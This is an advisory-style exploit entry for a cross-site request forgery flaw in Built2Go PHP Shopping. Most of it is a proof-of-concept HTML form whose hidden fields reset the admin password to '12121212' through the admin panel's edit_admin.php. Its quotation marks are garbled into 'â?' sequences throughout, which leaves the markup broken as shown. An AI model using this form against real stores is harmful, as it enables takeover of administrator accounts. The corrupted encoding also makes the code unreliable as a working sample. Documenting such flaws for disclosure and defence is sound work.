Built2Go PHP Shopping – Cross-Site Request Forgery (Admin Password)
source: https://www.securityfocus.com/bid/64735/info Built2Go PHP Shopping is prone to a cross-site request-forgery vulnerability. Exploiting the issue will allow a remote attacker to use a victim's currently active session to change the victim's password. Successful exploits will compromise affected computers. <form method=â?POSTâ? name=â?form0? action=â? http://www.example.com/adminpanel/edit_admin.phpâ?> <input type=â?hiddenâ? name=â?useridâ? value=â?ADMINâ?/> <input type=â?hiddenâ? name=â?passâ? value=â?12121212?/> <input type=â?hiddenâ? name=â?retypepassâ? value=â?12121212?/> <input type=â?hiddenâ? name=â?addnewâ? value=â?1?/> <input type=â?hiddenâ? name=â?actionâ? value=â?saveâ?/> <input type=â?hiddenâ? name=â?newâ? value=â?Submitâ?/> </form> |